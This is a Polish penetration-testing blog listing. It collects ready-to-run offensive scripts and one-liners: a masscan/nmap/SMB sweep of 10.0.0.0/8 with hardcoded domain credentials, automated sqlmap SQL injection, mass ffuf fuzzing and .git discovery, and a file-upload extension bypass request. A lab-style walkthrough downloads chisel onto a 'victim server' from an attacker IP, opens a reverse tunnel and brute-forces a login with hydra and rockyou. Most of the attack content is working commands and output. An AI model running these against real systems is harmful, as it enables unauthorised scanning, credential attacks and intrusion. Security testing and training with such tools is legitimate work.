Pokazywanie postów oznaczonych etykietą pentest. Pokaż wszystkie posty
Pokazywanie postów oznaczonych etykietą pentest. Pokaż wszystkie posty

czwartek, 16 października 2025

Szybki scan podatności w sieci

Dwa skrypty co robią dużo szumu ale wpada wiele nisko wiszących owoców do koszyczka. Szybko i sprawnie. Do przeszukania wyników z smb lubię wykorzystywać https://github.com/SySS-Research/smbcrawler/tree/main 


└─# cat skan_masscan.sh 

 #!/bin/bash


USER_DOM="w4cky"

PASS_DOM='l0l'

DOMAIN="domena"

PORTS="80,443,8080,8443,445"

RATE=10000


echo "[*] Start masscan-based scanning of 10.0.0.0/8 for ports: $PORTS"


for a in $(seq 15 255); do

  PODSIEC="10.$a.0.0/16"

  MASSCAN_OUT="masscan-10.$a.0.0.txt"

  LIVE_FILE="live-10.$a.0.0.txt"


  echo -e "\n[*] Masscan $PODSIEC..."

  sudo masscan $PODSIEC -p$PORTS --rate=$RATE -oL "$MASSCAN_OUT" 2>/dev/null


  if [ ! -f "$MASSCAN_OUT" ]; then

    echo "[!] masscan NIE wygenerował pliku $MASSCAN_OUT – pomijam $PODSIEC"

    continue

  fi


  awk '/^open/ {print $4}' "$MASSCAN_OUT" | sort -u > "$LIVE_FILE"

  [ ! -s "$LIVE_FILE" ] && echo "[!] Brak hostów w $PODSIEC – pomijam." && continue


  for ip in $(cat "$LIVE_FILE"); do

    [[ $ip =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]] || continue

    echo -e "\n[+] Skanuję hosta $ip"


    PORTY=$(awk -v ip="$ip" '$4 == ip {print $3}' "$MASSCAN_OUT" | sort -n | uniq)


    > urls-$ip.txt

    for port in $PORTY; do

      case $port in

        80)    echo "http://$ip" >> urls-$ip.txt ;;

        8080)  echo "http://$ip:8080" >> urls-$ip.txt ;;

        443)   echo "https://$ip" >> urls-$ip.txt ;;

        8443)  echo "https://$ip:8443" >> urls-$ip.txt ;;

        *)     ;;  # inne pomiń (np. 445)

      esac

    done


    if [ -s urls-$ip.txt ]; then

      echo "[NUCLEI] nuclei -l urls-$ip.txt -silent -o nuclei-$ip.txt"

      nuclei -l urls-$ip.txt -silent -o nuclei-$ip.txt

      [ -s nuclei-$ip.txt ] || rm -f nuclei-$ip.txt

    else

      echo "[NUCLEI] Brak portów web – pomijam nuclei dla $ip"

    fi

    rm -f urls-$ip.txt


    echo "[NMAP+SMB] nmap -sS -sV -O -Pn -p- --script smb-* $ip"

    nmap -sS -sV -O -Pn -p- \

      --script "smb-enum-shares,smb-enum-users,smb-os-discovery" \

      --script-args "smbuser=$USER_DOM,smbpass=$PASS_DOM,smbdomain=$DOMAIN" \

      $ip -oN nmap-$ip.txt


    grep -qE "open|Running:|Domain|anonymous|CENTRALA" nmap-$ip.txt || rm -f nmap-$ip.txt


    if command -v enum4linux-ng &>/dev/null; then

      echo "[ENUM4LINUX] enum4linux-ng -A $ip -u $USER_DOM -p '****' -d $DOMAIN -o enum-$ip"

      enum4linux-ng -A $ip -u $USER_DOM -p "$PASS_DOM" -d $DOMAIN -o enum-$ip

      grep -qi 'Access granted\|Group\|User' enum-$ip/* 2>/dev/null || rm -rf enum-$ip

    fi

  done



└─# cat enum_smb.sh  

#!/bin/bash


USER_DOM="w4cky"

PASS_DOM='l0l'

DOMAIN="domena"



echo "[*] Wyszukiwanie IP z portem 445 w masscan-10.*..."

IP_LIST=$(cat masscan-10.* 2>/dev/null | awk '$3 == 445 {print $4}' | sort -u)


if [ -z "$IP_LIST" ]; then

  echo "[!] Nie znaleziono IP – kończę."

  exit 1

fi


for ip in $IP_LIST; do

  echo -e "\n[+] SMB na $ip"

  echo "[CMD] smbclient -L //$ip -U '$DOMAIN\\$USER_DOM%$PASS_DOM' -g"


smbclient -L "//$ip"  -U '$DOMAIN\\$USER_DOM%$PASS_DOM' -g > "smb-$ip.txt" 2>&1


  if grep -q 'NT_STATUS' "smb-$ip.txt"; then

    echo "[!] Błąd SMB na $ip: $(grep 'NT_STATUS' "smb-$ip.txt" | head -1)"

    rm -f "smb-$ip.txt"

  elif grep -q 'Disk' "smb-$ip.txt"; then

    echo "[✔] Udziały zapisane do smb-$ip.txt"

  else

    echo "[~] Brak udziałów – czyszczę"

    rm -f "smb-$ip.txt"

  fi

done


echo -e "\n[✓] Zakończono."

                               

poniedziałek, 22 września 2025

Testy walidacji adresów e-mail

 

1) Pusty / pominięty

  • Form: email=

  • JSON: {"email": ""}

  • 🔎 Test: walidacja i obsługa błędów

  • 📌 Obserwuj: status code, body, timing

2) Spacje / przycinanie

  • Form: email=alicetest@example.com

  • JSON: {"email": " alicetest@example.com "}

  • 🔎 Test: trimming i kanonikalizacja

  • 📌 Obserwuj: akceptację, mail sink target

3) Zduplikowany parametr (dwuznaczność parsera)

  • Form: email=alicetest@example.com&email=bobtest@example.com

  • 🔎 Test: który parametr wybiera serwer (pierwszy/ostatni/merge)

  • 📌 Obserwuj: do której skrzynki trafia wiadomość

4) Percent-encoded

  • Form: email=%61licetest%40example.com (czyli alicetest@example.com)

piątek, 11 kwietnia 2025

GraphQL Cop - Security Audit Utility for GraphQL

 GraphQL Cop to małe narzędzie Pythona do uruchamiania typowych testów bezpieczeństwa dla interfejsów API GraphQL. GraphQL Cop jest idealny do przeprowadzania kontroli CI/CD w GraphQL. Jest lekki i obejmuje interesujące kwestie bezpieczeństwa w GraphQL.


GraphQL Cop pozwala odtworzyć wyniki, dostarczając polecenia cURL dla wszelkich zidentyfikowanych luk w zabezpieczeniach.

Writeup odnośnie GraphQL - https://blog.koalasec.co/2500-dollars-in-bounties-hacking-graphql 


https://github.com/dolevf/graphql-cop


└─# python3 graphql-cop.py -t https://sdb.ua/?q=getnciesList                                                                    1

[HIGH] Alias Overloading - Alias Overloading with 100+ aliases is allowed (Denial of Service - /graphiql)

[HIGH] Alias Overloading - Alias Overloading with 100+ aliases is allowed (Denial of Service - /playground)

[HIGH] Alias Overloading - Alias Overloading with 100+ aliases is allowed (Denial of Service - /console)

[HIGH] Alias Overloading - Alias Overloading with 100+ aliases is allowed (Denial of Service - /graphql)

[HIGH] Directive Overloading - Multiple duplicated directives allowed in a query (Denial of Service - /graphiql)

[HIGH] Directive Overloading - Multiple duplicated directives allowed in a query (Denial of Service - /playground)

[HIGH] Directive Overloading - Multiple duplicated directives allowed in a query (Denial of Service - /console)

[HIGH] Directive Overloading - Multiple duplicated directives allowed in a query (Denial of Service - /graphql)

[HIGH] Field Duplication - Queries are allowed with 500 of the same repeated field (Denial of Service - /graphiql)

[HIGH] Field Duplication - Queries are allowed with 500 of the same repeated field (Denial of Service - /playground)

[HIGH] Field Duplication - Queries are allowed with 500 of the same repeated field (Denial of Service - /console)

[HIGH] Field Duplication - Queries are allowed with 500 of the same repeated field (Denial of Service - /graphql)

[LOW] Field Suggestions - Field Suggestions are Enabled (Information Leakage - /graphiql)

[LOW] Field Suggestions - Field Suggestions are Enabled (Information Leakage - /playground)

[LOW] Field Suggestions - Field Suggestions are Enabled (Information Leakage - /console)

[LOW] Field Suggestions - Field Suggestions are Enabled (Information Leakage - /graphql)

[HIGH] Introspection - Introspection Query Enabled (Information Leakage - /graphiql)

[HIGH] Introspection - Introspection Query Enabled (Information Leakage - /playground)

[HIGH] Introspection - Introspection Query Enabled (Information Leakage - /console)

[HIGH] Introspection - Introspection Query Enabled (Information Leakage - /graphql)

poniedziałek, 21 października 2024

run ffuf from all domains from file

httpx -list mexico | xargs -I {} sh -c 'clean_url=$(echo {} | sed -e "s|https://|1|g" -e "s|http://|2|g"); ffuf -u {}/FUZZ -w raft-large-words.txt -ac -c -e .txt,.php,.bak,.txt,.rar,.sql,.zip,.php_,.old,.bak,._old,._php  --recursion --recursion-depth 2 >> ffuf-mexico$clean_url' 

czwartek, 3 października 2024

Pliki *.js.map

 W aplikacjach webowych pamiętaj aby sprawdzać czy deweloper nie zapomniał o usunięciu plików .js.map.


Szybki skrypt w PHP i zazwyczaj dobry efekt


<?php
/**
 * Created by PhpStorm.
 * User: edwinsturt
 * Date: 2020-06-24
 * Time: 00:45
 */

$file = 'main.ff0058ad.js.map';

if(file_exists($file)) {
    $json = json_decode(file_get_contents($file));

    $directories = [];

    foreach ($json->sources as $index => $source) {

        $dir = dirname($source);
        if (!is_dir($dir)) {
            mkdir($dir, 0755, true);
        }
        $data = explode('/', $source);
        $file = end($data);
        file_put_contents($dir . "/" . $file, $json->sourcesContent[$index]);
        $files[] = $dir . "/" . $file;

    }
    echo "<pre>All Source codes has been extracted from map file ";
    print_r($files);
}
?>


php skrypt.php i witamy env :)



wtorek, 11 czerwca 2024

SQLi oneliner automation

 subfinder -d testphp.vulnweb.com -all -silent | gau | urldedupe | gf sqli >sql.txt; sqlmap -m sql.txt --batch --dbs --risk 2 --level 5 --random-agent | tee -a sqli.txt





go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

go install github.com/lc/gau/v2/cmd/gau@latest

git clone https://github.com/ameenmaali/urldedupe.git;cd urldedupe;cmake CMakeLists.txt;make;cp urldedupe /usr/bin/

go install github.com/tomnomnom/gf@latest;cp ~/go/bin/gf /usr/bin/;mkdir ~/.gf;git clone https://github.com/Sherlock297/gf_patterns.git;cd gf_patterns/;cp *.json ~/.gf;gf -list

czwartek, 14 marca 2024

Penetration test flutter app


https://github.com/ptswarm/reFlutter


 ❯ pip3 install --upgrade --force-reinstall reflutter

Defaulting to user installation because normal site-packages is not writeable

Collecting reflutter

  Downloading reflutter-0.7.8-py3-none-any.whl.metadata (9.0 kB)

Downloading reflutter-0.7.8-py3-none-any.whl (24 kB)

Installing collected packages: reflutter

  Attempting uninstall: reflutter

    Found existing installation: reflutter 0.7.7

    Uninstalling reflutter-0.7.7:

      Successfully uninstalled reflutter-0.7.7

  WARNING: The script reflutter is installed in '/Users/michal/Library/Python/3.10/bin' which is not on PATH.

  Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.

Successfully installed reflutter-0.7.8

USAGE:

reflutter your.(apk)|(ipa)

/Users/michal/Library/Python/3.10/bin/reflutter 49406.apk


 Choose an option: 


 1. Traffic monitoring and interception 

 2. Display absolute code offset for functions


 [1/2]? 1


Example: (192.168.1.154) etc.

Please enter your BurpSuite IP: 192.168.51.129


 Wait...



SnapshotHash: ee1eb666c76a5cb7746faf39d0b97547

The resulting apk file: ./release.RE.apk

Please sign,align the apk file


Configure Burp Suite proxy server to listen on *:8083

Proxy Tab -> Options -> Proxy Listeners -> Edit -> Binding Tab


Then enable invisible proxying in Request Handling Tab

Support Invisible Proxying -> true


DOWNLOAD:

https://github.com/patrickfav/uber-apk-signer

java -jar uber-apk-signer-1.3.0.jar --apks release.RE.apk

source:

/Users/michal/Downloads

zipalign location: BUILT_IN 

/var/folders/gs/n5db96m941gb7b4ly4r1dw100000gn/T/uapksigner-2589864279722257602/mac-zipalign-33_0_216157554363753981716.tmp

keystore:

[0] 161a0018 /private/var/folders/gs/n5db96m941gb7b4ly4r1dw100000gn/T/temp_3968706172894682738_debug.keystore (DEBUG_EMBEDDED)


01. release.RE.apk


SIGN

file: /Users/michal/Downloads/release.RE.apk (221.2 MiB)

checksum: e28f1257d549f0cb5cfe774a4ad6ffa379be58f91c74aa6630ad720fcafb253a (sha256)

- zipalign success

- sign success


VERIFY

file: /Users/michal/Downloads/release.RE-aligned-debugSigned.apk (221.34 MiB)

checksum: 6504671cfc17578de09c94f90fdd79cf9fd838de633f3b25c25ba865f5dab1d2 (sha256)

- zipalign verified

- signature verified [v3]

Subject: CN=Android Debug, OU=Android, O=US, L=US, ST=US, C=US

SHA256: 1e08a903aef9c3a721510b64ec764d01d3d094eb954161b62544ea8f187b5953 / SHA256withRSA

Expires: Thu Mar 10 21:10:05 CET 2044


[Thu Mar 14 20:07:37 CET 2024][v1.3.0]

Successfully processed 1 APKs and 0 errors in 5.43 seconds.


adb install release.RE-aligned-debugSigned.apk

Performing Incremental Install

Serving...

Success

Install command complete in 527 ms

~/Downloads ❯ All files should be loaded. Notifying the device.    

środa, 1 lutego 2023

kampania ataków APT chińskiej grupy hakerów


AhnLab

Wysłane przez kingkimgim , 31 stycznia 2023 r

Dalbit (m00nlight): kampania ataków APT chińskiej grupy hakerów

0. Przegląd

Treść jest rozszerzeniem bloga „Attack Group using FRP (Fast Reverse Proxy) Targeting Domestic Companies”, który został opublikowany 16 sierpnia 2022 r. i śledzi działania grupy.


źródlo: https://asec.ahnlab.com/ko/46431/ 

środa, 18 stycznia 2023

środa, 14 grudnia 2022

apk.sh - ułatwia inżynierię wsteczną aplikacji na Androida

apk.sh to skrypt Bash, który ułatwia inżynierię wsteczną aplikacji na Androida, automatyzując niektóre powtarzalne zadania, takie jak ściąganie, dekodowanie, przebudowywanie i łatanie pliku APK.


Cechy

apk.sh zasadniczo używa apktool do dezasemblacji, dekodowania i odbudowy zasobów oraz trochę basha do automatyzacji procesu wstrzykiwania gadżetów frida . Obsługuje również pakiety aplikacji/podzielone pliki APK.


🍄 Łatanie plików APK w celu załadowania frida-gadget.so na starcie.

🆕 Obsługa pakietów aplikacji/podzielonych plików APK.

🔩 Przebudowywanie zdekodowanych zasobów z powrotem do binarnego pliku APK/JAR za pomocą apktool.

🗝️ Kod podpisując apk za pomocą apksigner.

https://github.com/ax/apk.sh

poniedziałek, 25 stycznia 2021

TCP/UDP reverse tunnel, transported over HTTP, secured via SSH - chisel

#### CHISEL INSTALL

curl https://i.jpillora.com/chisel! | bash

## copy to victim server: 
www-data@passage:/tmp$ wget http://10.10.14.143/chisel
wget http://10.10.14.143/chisel
--2021-01-25 08:55:34--  http://10.10.14.143/chisel
Connecting to 10.10.14.143:80... failed: Connection refused.
www-data@passage:/tmp$ wget http://10.10.14.143:8000/chisel
wget http://10.10.14.143:8000/chisel
--2021-01-25 08:55:47--  http://10.10.14.143:8000/chisel
Connecting to 10.10.14.143:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8704000 (8.3M) [application/octet-stream]
Saving to: 'chisel'

chisel              100%[===================>]   8.30M  5.33MB/s    in 1.6s    

2021-01-25 08:55:49 (5.33 MB/s) - 'chisel' saved [8704000/8704000]

www-data@passage:/tmp$ 


##  my computer:
chisel server -p 9999 --reverse

## victim computer 
./chisel client 10.10.14.143:9999 R:631:localhost:631

##############



hydra -l paul -P /usr/share/wordlists/rockyou.txt -s 631 -f 127.0.0.1 http-get /admin/log/error_log

piątek, 18 grudnia 2020

intercept http2 (grpc) in BURP SUITE PROXY

 as root:

iptables -t nat -A OUTPUT -p tcp -m owner ! --uid-owner mitmproxyuser -d 18.159.107.117 -j REDIRECT --to-port 8080          

adduser mitmproxyuser


cat /etc/nghttpx/nghttpx.conf   (downstream config)


frontend=0.0.0.0,8080;no-tls

backend=127.0.0.1,8081;;proto=http/1.1

backend-keep-alive-timeout=5m

frontend-http2-read-timeout=5m

frontend-read-timeout=5m

frontend-write-timeout=5m

stream-read-timeout=5m

stream-write-timeout=5m

backend-read-timeout=5m

backend-write-timeout=5m

backend-connect-timeout=5m

listener-disable-timeout=5m

backend-http2-window-size=134217720

backend-http2-connection-window-size=1073741760

frontend-http2-window-size=134217720

frontend-http2-connection-window-size=1073741760

http2-proxy=no

private-key-file=/etc/nghttpx/server.key

certificate-file=/etc/nghttpx/server.crt

cacert=/etc/nghttpx/ca.crt

accesslog-syslog=yes

errorlog-syslog=yes

workers=5


cat /etc/nghttpx/upstream.conf   (upstream config)

frontend=127.0.0.1,8082;no-tls

backend=vendor-IP,28900;;no-tls;proto=h2

backend-keep-alive-timeout=5m

frontend-http2-read-timeout=5m

frontend-read-timeout=5m

frontend-write-timeout=5m

stream-read-timeout=5m

stream-write-timeout=5m

backend-read-timeout=5m

backend-write-timeout=5m

backend-connect-timeout=5m

listener-disable-timeout=5m

http2-proxy=no

accesslog-syslog=yes

errorlog-syslog=yes

workers=5


run nghttp as root:


┌──(root💀kali)-[/etc/nghttpx]

└─# nghttpx

2020-12-18T14:38:21.383+01:00 8777 8777 99aaafb4 NOTICE (shrpx.cc:2882) Loading configuration from /etc/nghttpx/nghttpx.conf


run burp suite proxy 127.0.0.1:8081 (invisible proxy)

USER OPTIONS -> Upstream proxy add 127.0.0.1:8082


as mitmproxyuser:

┌──(mitmproxyuser㉿kali)-[/etc/nghttpx]

└─$ nghttpx --conf upstream.conf

2020-12-18T14:42:00.364+01:00 9293 9293 59e630c7 NOTICE (shrpx.cc:2882) Loading configuration from upstream.conf



as root:

run python code (client http2)











środa, 16 września 2020

How to parse ffuf output file

ffuf -o output_file cat output_file | jq -c '.results[] | {url:.url,status: .status}' for file in dirb/*; do cat $file | jq -c '.results[] | {url:.url,status: .status}'; done

środa, 26 sierpnia 2020

find .git repo!

curl -s "https://crt.sh/?q=%25.domain.com&output=json" | jq -r '.[].name_value' | assetfinder -subs-only | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew

piątek, 3 lipca 2020

Form Feed U+000C

 Znak, który czasami pozwala wyeskejpowac rozszerzenie plików w apkach webowych - •
// http://www.fileformat.info/info/unicode/char/000C/index.htm

POST /api/image_upload HTTP/1.1
Host: X
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------91652467232091688581205088441
Content-Length: 631
Connection: close


-----------------------------91652467232091688581205088441
Content-Disposition: form-data; name="file"; filename=".svg•.pdf"
Content-Type: application/pdf

xxx
-----------------------------91652467232091688581205088441--


HTTP/1.1 200 OK
Date: Fri, 03 Jul 2020 08:09:26 GMT
Server: Apache/2
Upgrade: h2,h2c
Connection: Upgrade, close
Vary: Accept-Encoding,User-Agent
Content-Length: 21
Content-Type: text/html

1593763766-94292_.svg